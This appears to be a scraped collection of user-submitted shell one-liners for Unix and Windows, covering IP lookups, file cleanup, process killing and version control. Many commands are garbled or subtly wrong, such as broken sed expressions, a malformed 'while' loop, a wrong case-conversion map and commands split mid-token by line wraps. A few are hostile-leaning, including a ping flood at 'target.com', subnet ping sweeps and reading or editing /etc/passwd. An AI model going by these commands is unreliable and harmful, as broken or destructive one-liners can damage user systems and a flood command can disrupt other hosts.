  head -1037 | tail -10 | sed -e 's/^[ \t]*//' | sed '/^$/d' | head -2

# big countdown clock with hours, minutes and seconds
watch -tn1 'date -u +%T -d @$(expr $(date -d HH:MM +%s) - $(date +%s)) | toilet
-f bigmono12'

# Recursively remove all '.java.orig' directories (scalable)
find . -depth \( -path '*/*.java.orig' -o -path '*/*.java.orig/*' \) -delete

# Clean all .pyc files from current project. It cleans all the files recursively
find . -name "*.pyc" -exec rm {} \;

# find a word in multiple files avoiding svn
grep -r 'keyword keyword2' your/path/ | grep -v svn

# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
TODAY=`date +"%b %d"`;ls -l | grep "$TODAY" | awk '{print $9}'

# umount all nfs mounts on machine
mount | grep : | tr -s ' ' -d 3 | xargs umount -v

# List all symbolic links in current directory
ls -F | sed -n 's/@$/p'

# Emulate sleep in DOS/BAT
echo sleep() begins: %TIME% && FOR /l %a IN (10,-1,1) do (ECHO 1 >NUL %a&ping -
n 2 -w 1 127.0.0.1>NUL) && echo sleep() end: %TIME%

# Count total number of subdirectories in current directory starting with specif
ic name.
find . -type d -name "*TestDir*" | wc -l

# Display a File with Line Number
nl filename | more

# Print a row of 50 hyphens
printf "%.50d" 0 | tr 0 -

# Contextual Menu Cleanup (OSX)
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchSe
rvices.framework/Versions/A/Support/lsregister -kill -r -domain local -domain sy
stem -domain user

# Get your local IP regardless of your network interface

```

```

ifconfig | grep "inet\ " | grep -v "127.0" | sed -e 's/inet\ addr://g' | sed -e
's/Bcast:\ \ \ \ \ \ \ \ /g' | cut -c 1-29 | sed -e 's/\ //g'

# UNIX one-liner to kill a hanging Firefox process
kill -HUP ` ps -aef | grep -i firefox | sort -k 2 -r | sed 1d | awk ' { print $2
} ' `

# Update iptables firewall with a temp ruleset
sudo iptables-restore < /etc/iptables.test.rules

# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
ls -la | grep $(date +%Y-%m-%d) | egrep -v -e '\.{1,2}' | sed "s/.*\:[0-9]\{2\}
\(.+\)\$/\1/g"

# Lowercase to Uppercase
echo "test" | sed 'y/abcdefghijklmnopqrstuvwxyZ/ABCDEFGHIJKLMNopqrstuvwxyz/'

# View the newest xkcd comic.
eog `curl 'http://xkcd.com/' | awk -F "ng): |</h" '/embedding/{print $2}`

# External IP address
curl ifconfig.me

# Find in all files in the current directory, just a find shorthand
find ./ -name $1 -exec grep -H -n $2 '{} ' ';'

# determine if CPU is 32-bit or 64-bit
grep lm /proc/cpuinfo

# Sorted list of established destination connections
netstat | grep EST | awk '{print $5}' | sort

# List your installed Firefox extensions
$grep -hIr -m 1 em:name ~/.mozilla/firefox/*.default/extensions|sed 's#\s*##'|tr
'<>=' '""'|cut -f3 -d'|sort -u

# Forward connections
ssh -g -L 8080:localhost:80 root@$HOST

# Group page count in pmwiki data base
cd /path/to/pmwiki/wiki.d;/bin/ls -l | perl -ne 'my ($group,$name)=split(/\./);$
counts{$group}++;' -e 'END { foreach $group (sort keys %counts) {printf("%d\t%s
\n", $counts{$group}, $group); } }'|sort -rn

# Base64 decode
echo Y29tbWFuZGxpbmUuZnUgcm9ja3MK | base64 -d

# Show "Max" settings for PHP
php -i|grep -i max

# Recursively remove .svn directories
rm -rf `find . -name .svn`

# Outgoing IP of server
wget http://www.whatismyip.org --quiet -O - | cat

# Calculates fake folder checksum based on folder's files' md5sums
find path/to/folder/ -type f -print0 | xargs -0 -n 1 md5sum | awk '{print $1}' |
sort | md5sum | awk '{print $1}'

```



```
# Extract all 7zip files in current directory taking filename spaces into account
7za x \*.zip

# convert Unix newlines to DOS newlines
sed 's/$'\n/'\r/'

# What is my ip?
lynx --dump "http://checkip.dyndns.org"

# What is my ip?
w3m miip.cl | grep ip

# A little bash daemon =)
echo "Starting Daemon"; ( while ;; do sleep 15; echo "I am still running =]"; done ) & disown -h $!

# cd canonical (resolve any symlinks)
alias cdc='cd `pwd -P`'

# example usage of sar
sar -g 5 5

# What is my ip?
w3m http://amit-agarwal.co.in/mystuff/getip_txt.php will return the ip in text format.

# Renames all files in the current directory such that the new file contains no space characters.
ls -l | while read file; do new_file=$(echo $file | sed s/\ /_g); mv "$file" "$new_file"; done

# Show live HTTP requests being made on OS X
sudo tcpdump -i en1 -n -s 0 -w - | grep -a -o -E "Host\: .*|GET \/.*"

# the sql script
mysql -u user-name -p password < script.sql

# gzip vs bzip2 at compressing random strings?
< /dev/urandom tr -dc A-Za-z0-9_ | head -c $((1024 * 1024)) | tee >(gzip -c > out.gz) >(bzip2 -c > out.bz) > /dev/null

# What Type of Computer Do You Have?
cat /sys/devices/virtual/dmi/id/board_name

# copy partition table from /dev/sda to /dev/sdb
sfdisk /dev/sdb <(sfdisk -d /dev/sda| perl -pi -e 's/sda/sdb/g')

# Find MAC address of Active Eth connection
/sbin/ifconfig|grep -B 1 inet |head -1 | awk '{print $5}'

# get you public ip address
curl ifconfig.me

# Move files around local filesystem with tar without wasting space using an intermediate tarball.
tar -C <source> -cf - . | tar -C <destination> -xf -

# Rezip a bunch of files
```

```

find . -name "*.gz" | xargs -n 1 -I {} bash -c "gunzip -c {} | sort | gzip -c --
best > {}.new ; rm {} ; mv {}.new {}"

# Get your IP addresses
ifconfig | grep -o "inet [^ ]*" | cut -d: -f2

# netstat with group by (ip adress)
netstat -ntu | awk ' $5 ~ /^[0-9]/ {print $5}' | cut -d: -f1 | sort | uniq -c |
sort -n

# Append output to the beginning of a file.
command > tmp && cat logfile.txt >> tmp && tmp > logfile.txt && rm tmp

# Go to end of current command line
CTRL + e

# kill all instances of an annoying or endless, thread-spawning process
ps auxww | grep outofcontrolprocess | awk '{print $2}' | xargs kill -9

# Terrorist threat level text
echo "Terrorist threat level: `sed $(perl -e "print int rand(99999)")"q;d" /usr/
share/dict/words`"

# Kills all processes for a certain program
kill -9 $(pidof process)

# Find files and list them sorted by modification time
ls -rl --time-style=+%s * | sed '/^$/,/total [0-9]*$/d' | sort -nk6

# Find files and list them with a readable informative output
find . -type f | sed 's,.*,stat "&" | egrep "File|Modify" | tr "\\n" " " ; echo
,' | sh | sed 's,[^/]*/(.*)\. Modify: \(....-... ..:...)\.*,\2 \1,' | sort

# reset the bizarre gone junk terminal to normal
echo "Xc" | tr "Xo" "\033\017"

# Cleanly quit KDE4 apps
kquitapp plasma

# Replace spaces with tabs & format file source recursively within a directory
find $DIR -name *.php -exec vim -u NONE -c 'set ft=php' -c 'set shiftwidth=4' -c
'set tabstop=4' -c 'set noexpandtab!' -c 'set noet' -c 'retab!' -c 'bufdo! "exe
cute normal gg=G"' -c wq {} \;

# color grep with specification of colors with GREP_COLOR env variable
setenv GREP_COLOR '1;37;41'

# Recursively deletes DIR directories
find . -type d -name DIR -exec rm -r {} \;

# Find all uses of PHP constants in a set of files
$class=ExampleClass; $path=src; for constant in `grep ' const ' $class.php | awk
'{print $2;}'`; do grep -r "$class::$constant" $path; done

# Find files and list them sorted by modification time
find . -type f | xargs ls -ltrhg

# commit message generator - whatthecommit.com
curl -s http://whatthecommit.com/ | tr -s '\n' ' ' | grep -so 'p>\(.*\)</p' | se

```

```

d -n 's/..\(.*\)..../\1/p'

# Update many subversion projects which reside in one directory
for d in $(find . -maxdepth 1 -type d -name '[^.]*'); do cd "$d"; svn up; cd ..;
done

# Identify files uniquely in a FS with inode number
ls -il filename

# irssi log histogram
awk '/^--- Day changed (.*)/ {st=""}; for (i=0;i<ar[date];i++) {st=st"*"} print date" "st; date=$7-"$5"-"$6} /> emergency/ {ar[date]++} END {st=""}; for (i=0;i<ar[date];i++) {st=st"*"}; print date" "st}' #engineyard.log

# Buscar archivos con la extension mp3 y mostrar el conteo de resultados
find -D rates . -name "*.mp3" -type f

# intersection between two files
sort file1 file2 | uniq -d

# An alias for pasting code/data into terminal without it doing anything. Add to
.bashrc
alias cn='cat > /dev/null'

# Read multiple lines of a file based on regex matching a single line
for i in `grep -n "SomeRegEx" foo.txt | sed 's:// /' | awk '{print $1}'`; do echo "head -n `echo "$i+4" | bc` foo.txt | tail -n 5"; done > headsandtails.sh

# Randomize GNU grep's color
cgrep() { GREP_COLOR="1;3$((RANDOM%6+1))" grep --color=always "$@" }

# Fast search Ubuntu software repo
alias acs='apt-cache search'

# wget ? server to server files transfer
wget -H -r ?level=1 -k -p http://www.domain.com/folder/

# MAC OS X: audible notification after a long command
long_command; say I am all done

# strip ^M character from files in VI
:%s/<control-VM>//g

# Backup a file before editing it.
man emacs

# oneliner to open several times same application
i="0"; while [ $i -lt 5 ] ; do xpenguins & i=$((i+1)) ; done

# show system installation date
tune2fs -l $(df -P / | tail -n1 | cut -d' ' -f1) | grep 'Filesystem created:'

# sudo for launching gui apps in background
sudo ls ; sudo gedit /etc/passwd &

# Generate MD5 of string and output only the hash checksum
echo -n "String to MD5" | md5sum | cut -f1 -d' '

# List your FLAC albums

```

```

find -iname '*.flac' | sed 's:/[^/]*$::' | uniq

# Get your external IP address
html2text http://checkip.dyndns.org | grep -i 'Current IP Address:' | cut -d' ' -f
4

# List dot-files and dirs, but not "." and ".."
ls .[!..]*

# unpack all rars in current folder
unrar x *.rar

# Execute a command if a file exists
grep -sq "" /etc/lsb-release && lsb_release -rd

# View entire process string
/usr/ucb/ps -auxgww

# count number of CPU available for members of a given Virtual Organization
echo `lscg-infosites --vo lhcb ce | cut -f 1 | grep [[:digit:]] | tr '\n' '+' | sed
-e 's/\ //g' -e 's/+$//'` | bc -l

# Minimize CSS/JS while preserving functionality.
gominify() { if [ $# -ne 2 ]; then echo 'gominify <src > <dst >'; return; fi;
s="$1"; d="$2"; java -jar yui.jar $s >$d; if [ $? == 0 ]; then a=$( ls -sh $s |
awk '{print $1}' ); b=$( ls -sh $d | awk '{print $1}' ); echo "Saved $s ($a) to
$d ($b)"; fi;}

# watch filesizes (c.f. logfiles, file downloading, etc.)
while [ 1 ]; do date; ls -l /path/to/dir; sleep 1; done

# Remove all files previously extracted from a tar(.gz) file.
tar -tf <file.tar.gz> | parallel rm

# Batch file suffix renaming
rename -n "s/-.*//" *

# Convert your getters to setters
:s/get\(\w+\)\ (/set\1($value)/g

# read a file with table like data
echo 1 2 3 > FILE; while read -a line; do echo ${line[2]}; done < FILE

# generate random password
tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 10 | sed 1q

# Kill XMMS for a cron job
kill `ps aux | grep xmms | grep -v grep | awk '{ print $2 }'`

# A handy calculator
bc

# add all files not under version control to repository
svn status |grep '\?' |awk '{print $2}' | parallel -Xj1 svn add

# Leap year calculation
leapyear() { if [ ${1% 4} -eq 0 ] && [ ${1% 100} -ne 0 ] || [ ${1% 400} -e
q 0 ]; then echo $1' is a leap year!'; else echo $1' is not a leap year.'; fi; }

# Remove everyting in a text file. Useful to fix ssh host key warnings

```

```

> ~/.ssh/known_hosts

# get newest file in current directory
ls -tl | head -n1

# get line#1000 from text.
head -1000 < lines.txt | tail -1

# Kill XMMS for a cron job
killall xmms

# how to like to know if a host is ON
for ip in $(seq 1 25); do ping -c 1 192.168.0.$ip>/dev/null; [ $? -eq 0 ] && echo "192.168.0.$ip UP" || : ; done

# Back up a PLESK Installation
/opt/psa/bin/pleskbackup server -v --output-file=plesk_server.bak

# Check your ip public using dyndns.org
wget -O - -q http://checkip.dyndns.org/ | cut -d':' -f2 | cut -d'<' -f1 | cut -c2
-

# Commit all the changes in your java code
svn st | grep /main/java | awk '{print $2}' | xargs echo | xargs svn ci -m "my comment here"

# Query for installed packages on RHEL boxes, and format the output nicely
rpm -qa --queryformat 'Installed on %{INSTALLTIME:date}\t%{NAME}-%{VERSION}-%{RELEASE}:  %{SUMMARY}\n'

# Check if file is greater than 20 bytes, such as an empty gzip archive
BACKUP_FILE_SIZE=`eval ls -l ${BACKUP_FILE} | awk {'print $5'}`; if [ $BACKUP_FILE_SIZE -le 20 ]; then echo "its empty"; else echo "its not empty"; fi

# Minimize CSS/JS while preserving functionality.
java -jar compiler.jar --js file.js

# archive all files containing local changes (svn)
svn st | cut -c 9- | parallel -X tar -czvf ../backup.tgz

# top
top

# Discover media files from a web page
sudo ngrep -lqi -p -W none ^get\|^post tcp dst port 80 -d eth0 | egrep '(flv|mp4|m4v|mov|mp3|wmv) '

# search for groups in ldap
ldapsearch -H ldap://localhost:389 -D cn=username,ou=users,dc=domain -x -W -b ou=groups,dc=domain '(member=cn=username,ou=users,dc=domain)' | grep ^dn | sed "s/dn\ : cn=\([^,]*\) ,ou=\([^,]*\) ,.*\/\2 \1/"

# perl one-liner to get the current week number
perl -e 'use Date::Calc qw(Today Week_Number); $weekn = Week_Number(Today); print "$weekn\n"'

# Get your public IP using chisono.it
wget -O - -q http://www.chisono.it/ip.asp && echo

```

```

# List top ten files/directories sorted by size
du -s * | sort -nr | head | cut -f2 | parallel -k du -sh

# Search and replace in VIM
:%s/foo/bar/g

# iterate through argument list and pass to command
yes|for x in one two three; do echo result - $x; done

# count how many times a string appears in a (source code) tree
grep -rc logged_in app/ | cut -d : -f 2 | awk '{sum+=$1} END {print sum}'

# List the vms in Virtualbox and start them using dmenu
vboxmanage startvm --type gui $(vboxmanage list vms | sed -e 's/"//g' | cut -f1
-d ' ' | dmenu -i -p "VMs")

# Creates a random password from /dev/urandom [0-9A-Za-z]
head -c $((-2)) /dev/urandom | uuencode -m - | sed -e '1d' -e '3d' |
sed -e 's/=.*/$/g'

# Reading my nic's mac address
ifconfig | grep eth | awk '{print $5}'

# Get internal and external IP addresses
ips(){ for if in $(ip link list|grep '^.: '|cut -d\ -f2|cut -d: -f1));do c
ur=$(ifconfig $if|grep "inet addr"|sed 's/.*inet addr:\([0-9\.]*)\./\1/g');prin
tf '%-5s%-15s%-15s\n' $if $cur $(nc -s $cur sine.cluonet.org 128 2>/dev/null|ec
ho $cur);done;}

# Get a list of all contributors to an SVN repo
svn log -q | grep -v "^-" | cut -d "|" -f 2 | sort -u

# Find size of the files in this directory tree. (sorted)
find . -type f -exec ls -s \{\} \; | sort -n

# reverse order of file
tac $FILETOREVERSE

# Shows your WAN IP, when you're sitting behind a router
alias myip='curl -s www.wieistmeineip.de | egrep -o "[0-9]{1,3}\.[0-9]{1,3}\.[0-
9]{1,3}\.[0-9]{1,3}"'

# search for a pattern (regex) in all text files (ignoring binary files) in a di
rectory tree
egrep -i "somepattern" `find . -type f -print`

# show large folders and files, including hidden
du -shc .[^.]* * | grep [MG]

# Get My Public IP Address
links2 -dump http://checkip.dyndns.com| egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0
-9]{1,3}\.[0-9]{1,3}'

# ps -ef | grep PROCESS | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep PROCESS | grep -v grep | awk '{print $2}' | xargs kill -9

# Get all links of a website
wget -O- -q http://www.nomachine.com/download-package.php?Prod_Id=2067 | sed -n
-e 'H;${x;s/\n/ /g;p;}' | sed -e "s/[Hh][Rr][Ee][Ff]=\"/>\n/g" | cut -d "\"" -f1

```

```

| sort -u | grep deb$

# Gconf Editor command line
gconftool --set /option/to/set --type=some_type value

# Search for a running process through grep
ps -e | grep SearchStringHere

# psgrep
pgrep <name>

# Removing Background Process
kill -9 `ps -u user -o "pid="`

# Get the latest version of phpMyAdmin
wget http://tools.web4host.net/versions.tmp --quiet -O - | grep PHPMYADMIN | sed
's/PHPMYADMIN=//' | cat

# alias for lsof -i -T -n
alias lso="sudo lsof -i -T -n"

# Get the host from where you logged in
who -m | sed 's/.*(\(.*\)).*/\1/'

# Random number less than X
RANGE=500;number=$RANDOM let "number %= $RANGE"; echo "Random number less than $
RANGE --- $number"

# Get all links of a website
lynx -dump http://www.domain.com | grep http| awk '{print $2 }'

# Simultaneously running different Firefox profiles
firefox -ProfileManager -no-remote

# get newest file in current directory
find . -maxdepth 1 -type f -printf '%A@%t%p\n' | sort -r | cut -f 2,2 | head -1

# Find the svn directory that a commit was made in. Usefull if you have many pr
ojects in one repository.
echo "12345,12346" |sed -e's/ //'|tr ", " "\n"| while read line; do echo -n $lin
e" "; svn log -vr $line https://url/to/svn/repository/|grep "/"|head -1|cut -d"/
" -f2; done

# Remove spaces and convert to lowercase filename with a certain extension, to b
e saved and called as a script with the extension as an argument.
for i in ./*. $1; do mv "$i" `echo $i | tr ' ' '_'`; done for i in ./*. $1; do mv
"$i" `echo $i | tr '[A-Z]' '[a-z]`; done for i in ./*. $1; do mv "$i" `echo $i |
tr '- ' '_'`; done for i in ./*. $1; do mv "$i" `echo $i | tr -s '_'`; done

# Append current directory to $PATH temporarily.
export PATH=$PATH:`pwd`

# Find out the starting directory of a script
current_dir=$(cd $(dirname $BASH_SOURCE);pwd)

# find and kill a pid for APP
ps -ef | grep APP | awk '/grep/{print$2}' | xargs -i kill {}

# watch porn on older mobile phones
function encode4phone() { ffmpeg -acodec libamr_nb -vcodec h263 -i "$1" -s qcif

```

```

-b 200k -ac 1 -ab 7.4k -ar 8000 "$1.3gp" }

# kill all processes with name or argument
pkill -f foo

# Sort all the ".dat" files in current directory by column 3 (change it accordingly), and replace the sorted one with original.
for x in *.dat;do sort -k 3 $x >tmp && mv -f tmp $x;done

# Figure out what shell you're running
echo $SHELL

# Laminate a file
awk '{print(substr($0,1,5))}' file

# Shows users and 'virtual users' on your a unix-type system
cut -d: -f1 /etc/passwd | sort

# Get all links of a website
lynx -dump http://domain.com | egrep -o -e 'http://[0-9a-z.]+html'

# Get your external IP address
exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]};

# Show the UUID of a filesystem or partition
ls /dev/disk/by-uuid/ -alh

# List your MACs address
cat `ls -r /sys/class/net/*/address` | sort -u

# Show all "python" executables
type -a python

# create tar.gz archive
tar -pczf archive_name.tar.gz /path/to/dir/or/file

# Echo the local IP addresses of the machines on your local network
for i in 192.168.1.{61..71};do ping -c 1 $i &> /dev/null && echo $i;fi;done

# How far is Mac OS X 10.6 from 64-bit?
file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl | tail -1 | cut -f1 -f3; file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i "mach-o object i386" |nl | tail -1 | cut -f1 -f3

# Show Network IP and Subnet
IP=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 2 | cut -d " " -f 1`;
SUBNET=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 3 | cut -d " " -f 1`;
RANGE=`ipcalc $IP/$SUBNET | grep "Network:" | cut -d ' ' -f 4`;echo $RANGE

# paged 'ls' in color
ls -lah --color=always | most

# finds all files in dir and replaces
find . -type f -exec sed -i 's/gw10./gw17./g' {} \;

# Show all cowsay's available cowfiles
cowsay -l | sed '1d;s/ /\n/g' | while read f; do cowsay -f $f $f;done

```



```

# Look for jQuery version script include in files *asp*$, *htm*$ ie. not *.aspx.
CS
find . \( -name "*.as[pc]x" -o -name "*.htm*" \) -exec grep -Hi "jquery-1" {} +

# Force log creation when running an msi install
msiexec.exe /i product.msi /l* c:\folder\LogFileName.txt

# Find the average QTime for all queries ran within the last hour for solr
cat /service/solr/log/main/current | tai64nlocal | grep "\(`date +%F %H`\|`date +%F %H %M`" | awk '{print $1" 0"$2-1": "$3}'`\" | grep QTime | awk '{print $NF}' | awk -F\= '{ s += $2} END {print s/NR}'

# Get name of first configured interface
ifconfig | grep -B 1 "inet addr:" | head -1 | cut -d" " -f1

# pass CHINA GFW
plink -v -ssh -N -D 8580 -l USERNAME -pw PASSWORD 192.168.2.12

# edit files in current and subdir, remove all lines that containing certain string
grep -r "sampleString" . |uniq | cut -d: -f1 | xargs sed -i "/sampleString/d"

# Easy Regex based mass renaming
ls /some/directory | sed -rn -e 's/input_file_regex/mv -v & output_file_name/p' | sh

# Set background image to random file from current dir.
feh --bg-center `ls -U1 |sort -R |head -1`

# Script para hacer un acopia d ela base de datos mysql
FECHA=$(date +%F) FINAL="$FECHA.sql.gz" mysqldump -h localhost -u user --password="pass" --opt jdiaz61_lupajuridica | gzip > /home/jdiaz61/www/backup/$FINAL

# Find all files and append to file
find . type f -exec echo http://exg.com/{} \; > file

# Set background image to random file from current dir.
feh --bg-center `ls | shuf -n 1`

# Get me only those jpeg files!
wget --mirror -A.jpg http://www.xs4all.nl/~dassel/wall/

# Print man pages to PDF (yes, another one)
man -t [command] | lp -d PDF -t [command].pdf

# Find default gateway
route -n | awk '$2 ~/[1-9]+/ {print $2;}'

# Creating a RAID-Z Storage Pool
zpool create tank raidz c0t0d0 c0t1d0 c0t2d0 c0t3d0 c0t4d0 c0t5d0

# Get ethX mac addresses
sudo ifconfig -a | grep eth | grep HW | cut -d' ' -f11

# Get your public IP using chisono.it
curl http://www.chisono.it/ip.asp

# Creating a Mirrored Storage Pool using Zpool
zpool create tank mirror c0t0d0 c0t1d0 mirror c0t2d0 c0t3d0

```

```

# Change password in list of xml files with for and sed
for i in *.xml; do sed -i 's/foo/bar/g' "$i"; done

# if download end, shutdown
for ((;;)) do pgrep wget ||shutdown -h now; sleep 5; done

# Rename files in a directory in an edited list fashion
ls > ls; paste ls ls > ren; nano ren; sed 's/^/mv /' ren|bash; rm ren ls

# Extract specific lines from a text file using Stream Editor (sed)
sed -n -e 1186,1210p A-small-practice.in

# Creating a ZFS Storage Pool by Using Files
zpool create tank /path/to/file/a /path/to/file/b

# Save the network interface info into a text file, so that you can re-apply it
later
netsh interface ip dump > current-interfaces.txt

# remove OSX resource forks ._ files
rm -f `find ./ | grep "\.\..*"`

# Echo several blank lines
perl -e 'print "\n"x100'

# Killing multiple process for one program like apache, wget, postfix etc.
ps aux| grep -v grep| grep httpd| awk {'print $2'}| xargs kill -9

# Finding hostname and the IP Address of your machine
host `hostname`

# Recursive Line Count
wc -l `find . -name *.php`

# view file content with echo
echo "$(</etc/issue)"

# Search recursively to find a word or phrase in certain file types, such as C c
ode
find . -name "*. [ch]" -print | xargs grep -i -H "search phrase"

# Open the Windows Explorer from the current directory
explorer /e, .

# Speak your horoscope with the command line
curl -s 'http://www.trynt.com/astrology-horoscope-api/v2/?m=2&d=23' | xmlstarlet
sel -t -m '//horoscope' -v 'horoscope' | festival --tts

# Execute commands from a file in the current shell
. filename [arguments]

# Directly change directory without having to specify drive letter change comman
d
cd /d d:\Windows

# IP address of current host
hostname -i

# simple echo of IPv4 IP addresses assigned to a machine

```

```

ifconfig | awk '/inet addr/ {print $2 }' | sed 's/.*/:/g'

# List content of a package (debian derivative distro)
dpkg -L Your_Package

# Remove all unused kernels with apt-get
sudo aptitude remove -P $(dpkg -l|awk '/^ii linux-image-2/{print $2}'|sed 's/linux-image-//'|awk -v v=`uname -r` 'v>$0'|sed 's/-generic//'|awk '{printf("linux-headers-%s\nlinux-headers-%s-generic\nlinux-image-%s-generic\n", $0, $0, $0)}')

# Command for getting the list of files with perms, owners, groups info. Useful
to find the checksum of 2 machines/images.
find / | xargs ls -l | tr -s ' ' | cut -d ' ' -f 1,3,4,9

# find disk space
du -s `find . -maxdepth 1 \! -name '.'` | sort -n | tail

# umount all nfs mounts on machine
mount | awk '/:/ { print $3 } ' | xargs sudo umount

# Show the meta information on a package (dependency , statuts ..) on debian der
ivative distro
apt-cache show Your_package

# Transforms a file to all uppercase.
perl -pi -e 's/([[:lower:]]+)/uc $1/gsex' file

# Find files modified in the last 5 days, no more than 2 levels deep in the curr
ent directory.
find . -type f -depth -3 -mtime -5

# Killing multiplpe process for one program like apache, wget, postfix etc.
ps ax| awk '/[h]ttpd/{print $1}'| xargs kill -9

# Find Files over 20Meg
find / -type f -size +20000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'

# build cscope.out from all *.{h,cpp}, but ignore hidden files
find /qt/src -name '*' -prune -o \( -name *.h -o -name *.cpp \) -print | cscope
-bi-

# Read just the IP address of a device
ifconfig $DEVICE | perl -lne '/inet addr:([\d.]+)/ and print $1'

# Convert files with CR-terminated lines (as created by Mac OS X programs) into
NL-terminated lines suitable for Unix programs
function crtonl { perl -i -ape 's/\r/\n/g;' $* ; }

# Read just the IP address of a device
/sbin/ifconfig eth0 | grep "inet addr" | sed -e 's/.*inet addr:\(.*) B.*\/1/g'

# dos2unix recursively
find . -type f -exec dos2unix {} +

# Ruby - nslookup against a list of IP`s or FQDN`s
ruby -e 'File.foreach("list") {|i| print `nslookup #{i}`}'

# Set your computer's clock, using HTTP and HTP (HTTP Time Protocol), when NTP/S
NTP is not available

```

```

htpdate -P proxy www.google.com www.yahoo.com www.commandlinefu.com

# ssh autocomplete
complete -W "$(while IFS=' ,' read host t; do echo $host; done < ~/.ssh/known_hosts)" ssh

# Find the correct PID
pss() { ps -eo pid,args | sed '/'"$1"/!d;/sed/d' ; }

# Echo PID of the current running command
command & echo $!

# Show regular expressions on directory list
lgrep() { /bin/ls -A --color=always ${2:-.} | /bin/grep $1 ; }

# Calculate 1**2 + 2**2 + 3**2 + ...
seq -s^2+ 11 |rev| cut -d'+ ' -f2- | rev | bc

# Find the correct PID
pgrep -fl

# Double Compile system and world on gentoo
emerge -e system && emerge -e system && emerge -e world && emerge -e world

# Print a row of 50 hyphens
printf "%50s\n"|tr ' ' -

# Display clock in terminal
watch -n 1 :

# Count emails in an MBOX file
grep -c '^From ' mbox_file

# Print sorted list of all installed packages (Debian)
perl -m'AptPkg::Cache' -le '$c=AptPkg::Cache->new; for (keys %$c){ push @a, $_ if $c->{$_}->{'CurrentState'} eq 'Installed';} print for sort @a;'

# Get Yesterday's Date
YEST=`perl -w -e '@yest=localtime(time-86400);printf "%d%.2d%.2d", $yest[5]+1900, $yest[4]+1, $yest[3];`

# Normalize volume in your mp3 library
find . -type d -exec sh -c "normalize-audio -b \"{}\"/*mp3" \;

# Get Tomorrow's Date
TOM=`perl -w -e '@tom=localtime(time+86400);printf "%d%.2d%.2d", $tom[5]+1900, $tom[4]+1, $tom[3];`

# Securely seeing the password file over the network
vipw

# VIM subst any char different from literal
:g/\n"/jo

# List path of binaries
echo $PATH|awk -F: ' { for (i=1; i <= NF; i++) print $i }'

# Securely look at the group file over the network
vigr

```

```
# Generate background office noise using Digg feeds and OSX.
IFS=`echo -en "\n\b"`; for i in $(curl http://feeds.digg.com/digg/container/technology/popular.rss | grep '<title>' | sed -e 's#[^>]*>##g' | tail -n10); do echo $i; echo $i | sed 's/^/Did you hear about /g' | say; sleep 30; done

# substitute in each buffer in the buffer list
:bufdo %s/foo/bar/ge | up

# Securely edit the sudo file over the network
visudo

# Print sorted list of all installed packages (Debian)
dpkg --get-selections | awk '$2=="install" {print $1}' | sort

# dont forget commands of old profile
wget http://www.commandlinefu.com/commands/by/e7__7dal

# Send packet by ping
sudo ping -f -c 999 -s 4500 target.com

# Open windows executable, file, or folder from cygwin terminal
explorer $( cygpath "/path/to/file_or_exe" -w )

# To retrieve a normal prompt
PS1='$PWD$ '

# Killing a process in Windows 7 command line
Taskkill /?

# View memory utilisation
sar -r

# This command will tell the last login and reboot related information
last

# Save lines unique to file2
comm -13 <(sort file1) <(sort file2) > file-new

# easily monitor mem usage
watch -n1 --differences cat /proc/meminfo

# Blinking, Color Highlighted search for input/output and files, like grep --color
hb(){ sed "s/\($*\)/`tput setaf 2;tput setab 0;tput blink`\1`tput sgr0`/gI"; }

# Simple Find
find / -name FILENAME

# Changing Hostname on Mac OS X
sudo scutil --set HostName MY_NEW_HOSTNAME

# Get all the reference docs for OS X from Apples Developer Connection site
wget -nd -nH -r -A pdf -I library/mac/documentation/ http://developer.apple.com/library/mac/navigation/#section=Resource%20Types&topic=Reference

# Lists installed kernels
aptitude search \~ilinux-image
```

```

# Push all local branches to remote repo
git push origin --all

# From an SVN working directory, open the corresponding repository directory in
your favorite browser
$BROWSER $(svn info | sed -n '/URL:/s/URL: //p')

# Broadcast message to all logged in terminal users.
cat welcome | wall

# Forget fortunes in your terminal this grabs a random
wget -qO - snubster.com|sed -n '65p'|awk 'gsub(/<span><br>.*/, "")&&1'|perl -p -e
's:myScroller1.addItem\("<span class=atHeaderOrange>::g;s:</span> <span class=s
nubFontSmall>::g;s:&quot;;":g;s:^:\n:g;s:$:\n:'

# Delete all but the latest 5 files
ls -t | awk 'NR>5 {system("rm \"" $0 "\" )}'

# Watch for blocked NGINX processes for tuning purposes
> /tmp/psup.log; watch "ps up $(pgrep -d, -x nginx) | grep -v STAT | awk '{print
$8}' | grep -c [ZUTD] >> /tmp/psup.log; tail -n 22 /tmp/psup.log"

# Show internet IP Address in prompt --> PS1 var
export PS1="[\u@`curl icanhazip.com` \W]$ "

# Reload gnome-panel
pgrep -lf gnome-panel | awk '{if ($2=="gnome-panel") print $1}' | xargs kill -9

# Print only the even lines of a file
awk '{if (NR % 2 == 0) print $0}' file.txt

# Ping scanning without nmap
prefix="10.0.0" && for i in `seq 25`; do ping -c 1 $prefix.$i && /dev/null && ec
ho "Answer from: $prefix.$i" ; done

# Start a Google Chrome profile with an X11 based interactive prompt
/opt/google/chrome/google-chrome --user-data-dir=$HOME/.config/google-chrome/`ze
nity --entry --text="Enter a profile name:"`

# hexadecimal2decimal
printf "%d\n" \0x64

# to display number of lines in a file without using wc command
sed -n "$=" fileName

# To reduce the size of saved webpages
find /path/to/webpages -type f -name '*.js' -exec 'rm' '{} ' \;

# Chmod all files (excluding directories)
find public_html/ -type f -exec chmod 664 {} \;

# rkhunter (Rootkit Hunter) is a Unix-based tool that scans for rootkits, backdo
ors and possible local exploits. rkhunter is a shell script which carries out va
rious checks on the local system to try and detect known rootkits and malware. I
t also performs c
rkhunter --check

# Batch rename extension of all files in a folder, in the example from .txt to .
md
rename .txt .md *.txt

```

```

# Selecting a random file/folder of a folder
